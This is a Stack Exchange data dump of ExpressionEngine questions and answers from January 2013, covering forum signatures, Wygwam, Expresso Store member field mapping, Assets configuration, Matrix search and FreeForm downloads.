  <row Id="5398" PostTypeId="1" AcceptedAnswerId="5405" CreationDate="2013-01-25T14:36:41.847" Score="1" ViewCount="62" Body="&lt;p&gt;I am setting up an EE Forum for a client and would like to know if there is a way to change the default text entry field to a Wygwam field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forrest&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-12T15:36:02.250" Title="Is there a way to use Wygwam on the Forum module?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5399" PostTypeId="2" ParentId="5397" CreationDate="2013-01-25T14:44:44.633" Score="4" Body="&lt;p&gt;Could you use Matrix &amp;amp; Playa to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Matrix field would let you add any number of sidebar widgets to the page as rows in Matrix. You can configure the Maximum Allowed Rows if you want to limit the number of sidebar widgets you associate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within each Matrix row, your Playa field can be used to relate widget entries from their own Sidebar Widgets channel. You can manage those via Structure under the Assets tab, giving them appropriate widget/sidebar fields and templates.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Updated:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Instead of selecting Widget entries in your Playa field, you can configure Playa to choose from other channels: People, Blog Posts, Videos, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within your Widget template, have a series of conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if channel==people&#xA;...&#xA;if channel=blog&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you pull the appropriate excerpts, images, etc from those respective channel entries, and format the widget appropriately for that content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this many times in the past, and we're doing it on a current project with a different CMS: Store the &quot;promo&quot; or widget content on the entry you're linking to, and pull that specialized content through a sidebar/widget template wherever you've specified to promote that content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used this approach throughout this site: &lt;a href=&quot;http://massgeneralcenterforglobalhealth.org&quot; rel=&quot;nofollow&quot;&gt;http://massgeneralcenterforglobalhealth.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-25T16:10:17.497" LastActivityDate="2013-01-25T16:10:17.497" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5400" PostTypeId="2" ParentId="5397" CreationDate="2013-01-25T15:06:48.943" Score="0" Body="&lt;p&gt;I usually use a relationship field (either built in or Playa) as mentioned here already, but you could also use a custom field on each entry. Then, your sidebar channel tag could use the search parameter to pull in ones with the custom field &quot;sidebar&quot; or whatever you assign. This works fine, but each is managed on it's own, while using a relationship field lets you do them all at once.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-01-25T15:06:48.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5401" PostTypeId="1" AcceptedAnswerId="5403" CreationDate="2013-01-25T15:09:58.967" Score="1" ViewCount="51" Body="&lt;p&gt;I am setting up a Forum for a client (running EE 2.5.5) and have Signatures enabled, however, whenever anyone posts a reply the signature shows up like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Signature&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mark Twain&lt;/p&gt;&#xA;&lt;p&gt;CIO&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I checked the template code and it shows like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;fm-signature-wrapper&amp;quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;{lang:signature}&amp;lt;/h4&amp;gt;&#xA;{if signature_image}&#xA;    &amp;lt;img src=&amp;quot;{path:signature_image}&amp;quot; class=&amp;quot;fm-signature-image&amp;quot; border=&amp;quot;0&amp;quot; width=&amp;quot;{signature_image_width}&amp;quot; height=&amp;quot;{signature_image_height}&amp;quot; alt=&amp;quot;{lang:signature_image}&amp;quot; /&amp;gt;&#xA;{/if}&#xA;&amp;lt;div class=&amp;quot;fm-signature&amp;quot;&amp;gt;&#xA;    {signature}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I can just get rid of the word &lt;strong&gt;Signature&lt;/strong&gt; I will be content.&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-25T17:40:11.383" Title="Why does the word Signature appear in Forum responses?" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5402" PostTypeId="1" AcceptedAnswerId="5406" CreationDate="2013-01-25T15:16:25.210" Score="4" ViewCount="183" Body="&lt;p&gt;Hullo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've a 4 stage checkout process working (Select Billing, Email Address &amp;amp; Passwords, then Optional Shipping Stage, then Delivery/Shipping Method, then Payment Method).  This all works lovely as far as getting an order through the system, with all the right data in the order details.  A member account is created, with the matching password, however all of the mapped fields are nowhere to be seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine 2.5.3 | &#xA;Expresso Store 1.6.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Have we missed a magic tag? We are using register_member field in the checkout tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geoff&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-03-27T01:56:19.797" Title="Membership Fields Failing to Map During Checkout / Account Creation in Expresso-Store" Tags="|expresso-store|members|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5403" PostTypeId="2" ParentId="5401" CreationDate="2013-01-25T15:18:31.550" Score="4" Body="&lt;p&gt;It looks like &lt;code&gt;&amp;lt;h4&amp;gt;{lang:signature}&amp;lt;/h4&amp;gt;&lt;/code&gt; is the culprit. Have you tried removing that?&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-25T15:18:31.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5404" PostTypeId="2" ParentId="5402" CreationDate="2013-01-25T16:00:21.193" Score="1" Body="&lt;p&gt;Did you map them in the Store Order Fields panel? Order Fields allows you to map order fields to member fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store &gt; Settings &gt; Order Fields&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-01-25T16:00:21.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5405" PostTypeId="2" ParentId="5398" CreationDate="2013-01-25T16:04:12.980" Score="3" Body="&lt;p&gt;fmz - there is not a way to use Wygwam with the forums; though since you have control over the forum themes you may be able to get a CKEditor directly in there.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-25T16:04:12.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5406" PostTypeId="2" ParentId="5402" CreationDate="2013-01-25T16:07:30.923" Score="3" Body="&lt;p&gt;This is a known issue in Store 1.6.2. Mapped member fields aren't updated for customers who register an account during checkout (because the account is currently created after the mapped fields are processed). For all existing users the mapped fields should be working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; This issue has been fixed in Store 1.6.3.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-02-25T01:31:37.223" LastActivityDate="2013-02-25T01:31:37.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5407" PostTypeId="2" ParentId="5292" CreationDate="2013-01-25T16:46:09.707" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi Brandon - I think i've solved this one. The server default is set to index.html, and I had an index.html file in the root (acting as a holding page). Without that, Assets works like a charm!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With that in mind, the issue was simply that Assets’ Ajax requests were getting sent to your index.html file rather than index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can keep your index.html page in place and simply point Assets to your index.php file by adding this to your system/expressionengine/config/config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-25T16:46:09.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5408" PostTypeId="1" AcceptedAnswerId="5409" CreationDate="2013-01-25T17:19:01.450" Score="1" ViewCount="111" Body="&lt;p&gt;Every time I try to create a new member group (or edit any member group that isn't Super Admin) and assign channels and module access to this new group it disables all channel assignments module access in other member groups. If I then go back to the original member group to fix the disabled channel assignments and module access, the new one gets disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that I have two add-ons that &lt;em&gt;may&lt;/em&gt; be part of the problem. These two add-ons are &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; and &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this might be happening??&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-01-25T17:29:16.400" Title="Changing channel assignments for one member group disables them for other member groups" Tags="|members|structure|zoo-visitor|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5409" PostTypeId="2" ParentId="5408" CreationDate="2013-01-25T17:29:16.400" Score="4" Body="&lt;p&gt;I think, you are using ExpressionEngine 2.5.3. You should see here &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18234&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18234&lt;/a&gt; for the solution.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-25T17:29:16.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5410" PostTypeId="2" ParentId="5385" CreationDate="2013-01-25T18:40:04.853" Score="0" Body="&lt;p&gt;can you try by putting the code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{index_slides}&#xA;    {full}&#xA;        &amp;lt;p&amp;gt;The name of this file is {file_name}&amp;lt;/p&amp;gt;&#xA;    {/full}&#xA;{/index_slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as asset cell also treat as file field type so it may work.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-25T18:40:04.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5411" PostTypeId="1" AcceptedAnswerId="5415" CreationDate="2013-01-25T19:21:01.573" Score="1" ViewCount="332" Body="&lt;p&gt;I need to set up a form where users submit information in order to download a file that should be downloaded as soon as they click the submit button (which is going to say &quot;Download&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I know I can always have the form redirect to a page with the download link, but ideally clicking download would start the download and submit the form at the same time.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-26T02:21:13.927" Title="FreeForm 4.0.10 - possible to have submit button download a file and submit form?" Tags="|solspace-freeform|how-to|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5412" PostTypeId="1" AcceptedAnswerId="5427" CreationDate="2013-01-25T19:41:44.997" Score="2" ViewCount="361" Body="&lt;p&gt;I have a list of files in a Matrix field. here is a screenshot of it: &lt;a href=&quot;https://i.stack.imgur.com/2QC9Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/2QC9Y.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have a file_title of 'Form 1' and when I search for Form I get the EE error page that says no Results Found. Even when searching for Form 1 verbatim I get the same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be concise here is the code for the search box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form search_in=&quot;everywhere&quot; result_page=&quot;site/search-results&quot; status=&quot;not closed&quot; where=&quot;all&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;} &#xA;                &amp;lt;input type=&quot;image&quot; src=&quot;/img/search-input.jpg&quot; alt=&quot;Hunt&quot; class=&quot;button&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;header_s&quot; class=&quot;text&quot; maxlength=&quot;100&quot; /&amp;gt; &#xA;            {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="767" LastEditorUserId="490" LastEditDate="2013-01-27T01:54:34.123" LastActivityDate="2013-01-27T01:54:34.123" Title="ExpressionEngine Search not working with Matrix" Tags="|matrix|search|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5413" PostTypeId="1" AcceptedAnswerId="5463" CreationDate="2013-01-25T19:42:50.007" Score="2" ViewCount="177" Body="&lt;p&gt;Someone named Yoshi Melrose wrote a plugin for EE1 called &quot;onthisday&quot; which I'm using on my EE1.7.1 sites. I'd like to migrate those sites to EE2 and this functionality is a key requirement. I'm trying to locate a replacement plugin or find someone interested in migrating the EE1 plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is really cool for blogs. It allows you to create a link to posts that were made &quot;on this day&quot; (or a date of your choosing) from previous years. Since I've had a couple of blogs that have been running for about 7 or 8 years, the results can sometimes be very interesting and fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone heard of this plugin? I can't find an EE2 version (or locate Yoshi for help), so a functional replacement would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think migrating it is beyond my skill level since it actually extended the weblog class in EE1 and I can't see how to do that in EE2.&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-01-29T00:14:50.480" Title="&quot;On This Day&quot; Plugin for EE2?" Tags="|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5414" PostTypeId="2" ParentId="5411" CreationDate="2013-01-25T20:04:00.037" Score="2" Body="&lt;p&gt;Why not use jQuery to trigger a get request for the download URL?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-01-25T20:04:00.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5415" PostTypeId="2" ParentId="5411" CreationDate="2013-01-25T20:06:55.340" Score="2" Body="&lt;p&gt;You'll want to set the form redirect page to allow PHP and set http headers to force download of the PDF. Something &lt;a href=&quot;https://stackoverflow.com/questions/386845/http-headers-for-file-downloads&quot;&gt;like this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, of course, mix EE tags in that PHP-enabled template, so you could include a value in your segment variables to look up the right PDF to download, etc. Lots of options.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-25T20:06:55.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5416" PostTypeId="1" AcceptedAnswerId="5417" CreationDate="2013-01-25T21:58:41.527" Score="4" ViewCount="351" Body="&lt;p&gt;How does one go about building a dynamic link to a file managed by Assets within a Wygwam field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, when we move our EE project from dev.example.com/projects/project_name to example.com, will we have to go back into Wygwam and update all of our paths to any PDFs or images that were linked to within our Wygwam fields, or is there a way to build those links (perhaps using {path}?) so they don't break?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-01-25T22:39:13.097" Title="Dynamic Filepaths to Assets Files in Wygwam Fields" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5417" PostTypeId="2" ParentId="5416" CreationDate="2013-01-25T22:39:13.097" Score="5" Body="&lt;p&gt;I'm hoping I'm getting this right. I'm not a Wygwam/Assets expert, so... The way we have handled it is by setting our EE file upload preferences 'URL of Upload Directory' settings with the relative path from the web root. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'/images/article_images/'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe Wygwam then uses the {fieldir_1} syntax when it saves the image path, so in the channel data it gets a path like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_1}myimage.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when it is processed in the template the image path becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/images/article_images/myimage.jpg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-01-25T22:39:13.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5418" PostTypeId="2" ParentId="5364" CreationDate="2013-01-25T22:55:16.103" Score="1" Body="&lt;p&gt;So, you're talking about keeping the inventory in the product options field, if I am reading this right. Two things: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you have mapped the inventory to this field, in the&#xA;CartThrob settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep in mind that you should keep inventory in only one field - if&#xA;you're tracking individual line item inventory using an options&#xA;field, you should always keep your inventory in that field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="772" LastActivityDate="2013-01-25T22:55:16.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5419" PostTypeId="2" ParentId="5411" CreationDate="2013-01-26T02:21:13.927" Score="1" Body="&lt;p&gt;I think, it would be fairy easy by using the hook either freeform_module_insert_end or freeform_module_insert_begin. And in this hook you can use the force download of &quot;download&quot; helper.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-26T02:21:13.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5420" PostTypeId="2" ParentId="5136" CreationDate="2013-01-26T02:25:31.790" Score="2" Body="&lt;p&gt;My specific issue was corrected by making sure that both the JavaScript files and the index file I was embedding them into were set to use the 'JavaScript' type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier versions of ExpressionEngine would work with that index file set to other template types, but the latest versions are particular, and submit more strict headers with the templates.&lt;/p&gt;&#xA;" OwnerUserId="849" LastActivityDate="2013-01-26T02:25:31.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5421" PostTypeId="1" AcceptedAnswerId="5424" CreationDate="2013-01-26T04:01:46.517" Score="-1" ViewCount="109" Body="&lt;p&gt;Just upgraded a site from EE 2.5.2 &gt; 2.5.5 and Assets 1.XX &gt; 2.0.3 (along with a couple of others)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that I ever tried it previously but a user has reported that when right clicking an image in Assets and &quot;rename&quot; the modal appears but upon saving nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we add &quot;NEW&quot; to the end&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hZRiR.jpg&quot; alt=&quot;Append new name&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browser &quot;refeshes&quot; and filename doesn't&lt;img src=&quot;https://i.stack.imgur.com/0o3LJ.jpg&quot; alt=&quot;Appended name not reflected&quot;&gt; change&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm this is in fact a &quot;real&quot; problem, no obvious errors are being thrown either. Site is running PHP 5.3.19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bit of a loss as to why but that's why I'm here :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-26T09:24:49.493" Title="Assets 2.0.3 Rename File Issue" Tags="|assets|file-uploads|file-manager|" AnswerCount="1" CommentCount="3" ClosedDate="2013-01-26T15:13:16.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="5422" PostTypeId="2" ParentId="5412" CreationDate="2013-01-26T04:26:17.910" Score="1" Body="&lt;p&gt;First thing is to add the &lt;code&gt;channel=&quot;&quot;&lt;/code&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#channel&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;parameter&lt;/strong&gt;&lt;/a&gt; to your search tag with the short name of the channel or channels that needs to be searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things to check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the entry containing this data set to closed?&lt;/li&gt;&#xA;&lt;li&gt;Does the entry containing this data have an expiration date set that has passed?&lt;/li&gt;&#xA;&lt;li&gt;Does the entry containing this data have an entry date that is set for the future? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-26T04:26:17.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5423" PostTypeId="2" ParentId="5251" CreationDate="2013-01-26T06:16:09.010" Score="0" Body="&lt;p&gt;As inline error handling works for channel's custom fields and native fields like Title, URL title but not for category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should show global error messages for it like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{global_errors}{error}{/global_errors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-26T06:16:09.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5424" PostTypeId="2" ParentId="5421" CreationDate="2013-01-26T09:24:49.493" Score="1" Body="&lt;p&gt;This will be fixed in the next release. Thanks for the heads up!&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-26T09:24:49.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5425" PostTypeId="1" AcceptedAnswerId="15137" CreationDate="2013-01-26T11:55:31.063" Score="4" ViewCount="237" Body="&lt;p&gt;These don't seem to be playing very nicely together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what's happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Zoo Visitor registration form that contains generic member fields and well as a couple of required custom fields, of which, some are matrix and one is a radio button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With inline error handling enabled, I'm seeing intermittent undefined index errors on submit within:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;matrix/ft.matrix.php :: line 1982 :: field_required&lt;/li&gt;&#xA;&lt;li&gt;radio/ft.radio.php :: line 131 :: field_pre_populate&lt;/li&gt;&#xA;&lt;li&gt;radio/ft.radio.php :: line 150 :: field_pre_field_id&lt;/li&gt;&#xA;&lt;li&gt;radio/ft.radio.php :: line 151 :: field_pre_channel_id&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Field layout is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matrix field is birthdate - 3 selects, all required. I know, I know... use a date field. Client req. But anyway... it should work. And it does sometimes. It has been addressed (sort of) by P&amp;amp;T and only errors out when the radio button following it is set to required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The radio is gender, but it's not using the member field. And it's required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, this seems obvious - the fields are set to pre-populate from another channel. But they're not. They're all set to 'n' and stored as such in the db and in the settings array. However, when validation runs and loops through settings, it's reading 'n' as NULL. So it errors out when it tries to query 'field_id_' on a null channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss here. And open to just about any ideas aside from defaulting everyone to M or F - which actually works when required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - apologies if this is a repeat. I see a bunch of Q&amp;amp;A on related topics but nothing that quite matches my scenario.&lt;/p&gt;&#xA;" OwnerUserId="893" LastActivityDate="2013-10-30T12:06:33.707" Title="Zoo Visitor + Radio button &amp; Matrix fields + Inline error handling" Tags="|matrix|zoo-visitor|validation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5426" PostTypeId="2" ParentId="5251" CreationDate="2013-01-26T14:20:09.657" Score="0" Body="&lt;p&gt;Thanks for the suggestestions. I have decided to use jquery validation on the form instead. i think it will give me beter control over the the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://github.com/posabsolute/jQuery-Validation-Engine&quot; rel=&quot;nofollow&quot;&gt;http://github.com/posabsolute/jQuery-Validation-Engine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo: &lt;a href=&quot;http://www.position-relative.net/creation/formValidator/&quot; rel=&quot;nofollow&quot;&gt;http://www.position-relative.net/creation/formValidator/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-01-26T14:20:09.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5427" PostTypeId="2" ParentId="5412" CreationDate="2013-01-26T23:56:07.477" Score="3" Body="&lt;p&gt;Matrix’s “Is col searchable?” setting doesn’t take effect until you re-save your entries. If you’ve got a lot of entries, check out &lt;a href=&quot;https://expressionengine.stackexchange.com/a/3514/490&quot;&gt;this script&lt;/a&gt; which will loop through all of your entries and re-save them for you.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-01-26T23:56:07.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5428" PostTypeId="1" AcceptedAnswerId="5431" CreationDate="2013-01-27T00:14:45.973" Score="2" ViewCount="141" Body="&lt;p&gt;Not sure how to choose to set $env_config['disable_all_tracking'] = 'y' or 'no'; When documentation says if set to 'y' some of the below settings are disregarded&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Tracking&#xA;-------------------------------------------------------------------*/&#xA;$env_config['disable_all_tracking']        = 'y'; // If set to 'y' some of the below settings are disregarded&#xA;$env_config['enable_sql_caching']          = 'n';&#xA;$env_config['disable_tag_caching']         = 'n';&#xA;$env_config['enable_online_user_tracking'] = 'n';&#xA;$env_config['dynamic_tracking_disabling']  = '500';&#xA;$env_config['enable_hit_tracking']         = 'n';&#xA;$env_config['enable_entry_view_tracking']  = 'n';&#xA;$env_config['log_referrers']               = 'n';&#xA;$env_config['gzip_output']                 = 'y'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for great support&lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="55" LastEditDate="2013-01-27T13:11:30.303" LastActivityDate="2013-01-27T13:11:30.303" Title="What does $config['disable_all_tracking'] do?" Tags="|config|config-overrides|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5429" PostTypeId="1" CreationDate="2013-01-27T02:34:31.917" Score="0" ViewCount="126" Body="&lt;p&gt;I'm getting this error on the front-end, although the back-end/CP seems to be working correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method CI_Typography::initialize() &#xA;in /my_path/system/expressionengine/modules/channel/mod.channel.php on line 315&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The server wizard works fine, and 1.x that was running on the same server/directory was functioning as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should I start to look? Thanks all!&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-27T02:54:36.823" Title="Fatal error: Call to undefined method CI_Typography error on line 315" Tags="|channel|module|error|server|fatal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5430" PostTypeId="2" ParentId="5429" CreationDate="2013-01-27T02:54:36.823" Score="1" Body="&lt;p&gt;Well well, problem solved with simply resetting all permissions to its correct places (even the non-cache/config files), and re-uploading core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feeling silly? YES!&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-27T02:54:36.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
